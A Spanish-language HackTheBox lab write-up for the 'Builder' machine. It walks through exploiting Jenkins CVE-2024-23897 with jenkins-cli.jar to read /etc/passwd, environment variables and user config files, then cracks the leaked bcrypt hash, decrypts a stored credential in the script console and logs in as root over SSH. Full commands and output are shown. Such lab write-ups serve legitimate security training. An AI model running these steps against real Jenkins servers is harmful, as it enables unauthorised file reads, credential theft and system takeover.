Builder HTB - WriteUp

April 23, 2024

En el día de hoy estaremos resolviendo la máquina Builder de HackTheBox. Es una máquina Linux y su dirección IP es 10.10.11.10. La explotación de esta máquina se basa vulnerar un Jenkins

Índice

Enumeración Inicial
Explotación del CVE-2024-23897
Enumeración Jenkins
Privesc

Enumeración Inicial

Escaneo de puertos:

# Nmap 7.91 scan initiated Tue Apr 23 17:56:49 2024 as: nmap -sCV -oN Extraction -p22,8080 10.10.11.10
Nmap scan report for 10.10.11.10
Host is up (0.061s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.18)
|_http-title: Dashboard [Jenkins]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 23 17:56:59 2024 -- 1 IP address (1 host up) scanned in 10.48 seconds

Al acceder al puerto 8080 podremos ver un Jenkins con la versión 2.441.

En el jenkins podemos ver que hay unas credenciales almacenadas.

Explotación del CVE-2024-23897

Si hacemos una búsqueda en google podemos ver como existe un CVE bastante reciente que permite leer ficheros del sistema de forma parcial

https://www.trendmicro.com/en_us/research/24/c/cve-2024-23897.html

Si nos leemos ese post vemos como realizar la explotación. Para ello necesitamos jenkinks-cl.jar La herramienta mencionada permite llamar diferentes funciones de Jenkins apuntando a la url. Para obtener la herramienta podemos hacer los siguiente:

wget http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar

Una vez tengamos la herramienta podemos empezar con la explotación.

❯ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' connect-node '@/etc/passwd' 2>&1
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.

Enumeración Jenkins

Vamos a leer las variables de entorno para sacar algo de información:

❯ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' connect-node '@/proc/self/environ' 2>&1

ERROR: No such agent "HOSTNAME=0f52c222a4ccJENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimentalJAVA_HOME=/opt/java/openjdkJENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementalsCOPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.logPWD=/JENKINS_SLAVE_AGENT_PORT=50000JENKINS_VERSION=2.441HOME=/var/jenkins_homeLANG=C.UTF-8JENKINS_UC=https://updates.jenkins.ioSHLVL=0JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/refPATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" exists.

Podemos observar que el home es “/var/jenkins_home/” dentro del home de Jenkins hay muchos datos interesantes que podríamos intentar leer

Resumen del directorio

https://dev.to/pencillr/spawn-a-jenkins-from-code-gfa

|-- config.xml
|-- jenkins.install.InstallUtil.lastExecVersion
|-- org.jenkinsci.main.modules.sshd.SSHD.xml
`-- users
|   |-- user_xxxxxxxxxxxxxxxxxxx
|   |   `-- config.xml
    `-- users.xml

Vamos a leer el archivo users.xml

❯ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' connect-node '@/var/jenkins_home/users/users.xml'
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

Nos revela información sobre un usuario, vamos a leer su config.xml

❯ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'

    <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">: No such agent "    <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">" exists.
    <hudson.search.UserSearchProperty>: No such agent "    <hudson.search.UserSearchProperty>" exists.
      <roles>: No such agent "      <roles>" exists.
    <jenkins.security.seed.UserSeedProperty>: No such agent "    <jenkins.security.seed.UserSeedProperty>" exists.
      </tokenStore>: No such agent "      </tokenStore>" exists.
    </hudson.search.UserSearchProperty>: No such agent "    </hudson.search.UserSearchProperty>" exists.
      <timeZoneName></timeZoneName>: No such agent "      <timeZoneName></timeZoneName>" exists.
  <properties>: No such agent "  <properties>" exists.
    <jenkins.security.LastGrantedAuthoritiesProperty>: No such agent "    <jenkins.security.LastGrantedAuthoritiesProperty>" exists.
      <flags/>: No such agent "      <flags/>" exists.
    <hudson.model.MyViewsProperty>: No such agent "    <hudson.model.MyViewsProperty>" exists.
</user>: No such agent "</user>" exists.
    </jenkins.security.ApiTokenProperty>: No such agent "    </jenkins.security.ApiTokenProperty>" exists.
      <views>: No such agent "      <views>" exists.
        <string>authenticated</string>: No such agent "        <string>authenticated</string>" exists.
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">: No such agent "    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">" exists.
<user>: No such agent "<user>" exists.
          <name>all</name>: No such agent "          <name>all</name>" exists.
  <description></description>: No such agent "  <description></description>" exists.
      <emailAddress>jennifer@builder.htb</emailAddress>: No such agent "      <emailAddress>jennifer@builder.htb</emailAddress>" exists.
      <collapsed/>: No such agent "      <collapsed/>" exists.
    </jenkins.security.seed.UserSeedProperty>: No such agent "    </jenkins.security.seed.UserSeedProperty>" exists.
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>: No such agent "    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>" exists.
    </hudson.model.MyViewsProperty>: No such agent "    </hudson.model.MyViewsProperty>" exists.
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>: No such agent "      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>" exists.
          <filterQueue>false</filterQueue>: No such agent "          <filterQueue>false</filterQueue>" exists.
    <jenkins.security.ApiTokenProperty>: No such agent "    <jenkins.security.ApiTokenProperty>" exists.
      <primaryViewName></primaryViewName>: No such agent "      <primaryViewName></primaryViewName>" exists.
      </views>: No such agent "      </views>" exists.
    </hudson.model.TimeZoneProperty>: No such agent "    </hudson.model.TimeZoneProperty>" exists.
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">: No such agent "    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">" exists.
    </hudson.model.PaneStatusProperties>: No such agent "    </hudson.model.PaneStatusProperties>" exists.
    </hudson.tasks.Mailer_-UserProperty>: No such agent "    </hudson.tasks.Mailer_-UserProperty>" exists.
        <tokenList/>: No such agent "        <tokenList/>" exists.
    <jenkins.console.ConsoleUrlProviderUserProperty/>: No such agent "    <jenkins.console.ConsoleUrlProviderUserProperty/>" exists.
        </hudson.model.AllView>: No such agent "        </hudson.model.AllView>" exists.
      <timestamp>1707318554385</timestamp>: No such agent "      <timestamp>1707318554385</timestamp>" exists.
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>: No such agent "          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>" exists.
  </properties>: No such agent "  </properties>" exists.
    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: No such agent "    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>" exists.
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>: No such agent "    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>" exists.
    <hudson.security.HudsonPrivateSecurityRealm_-Details>: No such agent "    <hudson.security.HudsonPrivateSecurityRealm_-Details>" exists.
      <insensitiveSearch>true</insensitiveSearch>: No such agent "      <insensitiveSearch>true</insensitiveSearch>" exists.
          <properties class="hudson.model.View$PropertyList"/>: No such agent "          <properties class="hudson.model.View$PropertyList"/>" exists.
    <hudson.model.TimeZoneProperty>: No such agent "    <hudson.model.TimeZoneProperty>" exists.
        <hudson.model.AllView>: No such agent "        <hudson.model.AllView>" exists.
    </hudson.security.HudsonPrivateSecurityRealm_-Details>: No such agent "    </hudson.security.HudsonPrivateSecurityRealm_-Details>" exists.
      <providerId>default</providerId>: No such agent "      <providerId>default</providerId>" exists.
      </roles>: No such agent "      </roles>" exists.
    </jenkins.security.LastGrantedAuthoritiesProperty>: No such agent "    </jenkins.security.LastGrantedAuthoritiesProperty>" exists.
    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: No such agent "    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>" exists.
    <hudson.model.PaneStatusProperties>: No such agent "    <hudson.model.PaneStatusProperties>" exists.
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
  <fullName>jennifer</fullName>: No such agent "  <fullName>jennifer</fullName>" exists.
      <seed>6841d11dc1de101d</seed>: No such agent "      <seed>6841d11dc1de101d</seed>" exists.
  <id>jennifer</id>: No such agent "  <id>jennifer</id>" exists.
  <version>10</version>: No such agent "  <version>10</version>" exists.
      <tokenStore>: No such agent "      <tokenStore>" exists.
          <filterExecutors>false</filterExecutors>: No such agent "          <filterExecutors>false</filterExecutors>" exists.
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent "    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

Podemos ver un hash y crackear la contraseña:

john --wordlist=/usr/share/wordlists/rockyou.txt hash  ---> prinXXXXX

Privesc

Con esta password podemos iniciar sesión en la aplicación:

Este post nos eneseña a dumpear las crendenciales que almacena jenkins.

https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials

Si administramos el secreto y hacemos la misma tecnica podemos obtener el secreto de encriptado

{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}

Podemos desencriptarlo en http://10.10.11.10:8080/script con la funcion println hudson.util.Secret.decrypt("")

Finalmente obtenemos la clave privada.

Si probamos a iniciar sesión como root veremos que podemos sin problema y habremos ganado acceso a la máquina.

❯ ssh -i id_rsa root@10.10.11.10
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Tue Apr 23 06:09:57 PM UTC 2024

  System load:              0.04296875
  Usage of /:               66.2% of 5.81GB
  Memory usage:             39%
  Swap usage:               0%
  Processes:                214
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for eth0:    10.10.11.10
  IPv6 address for eth0:    dead:beef::250:56ff:feb9:b3c1


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Apr 23 16:28:54 2024 from 10.10.16.9
root@builder:~# 

Con esto habremos pwneado la máquina, espero que te haya servido!

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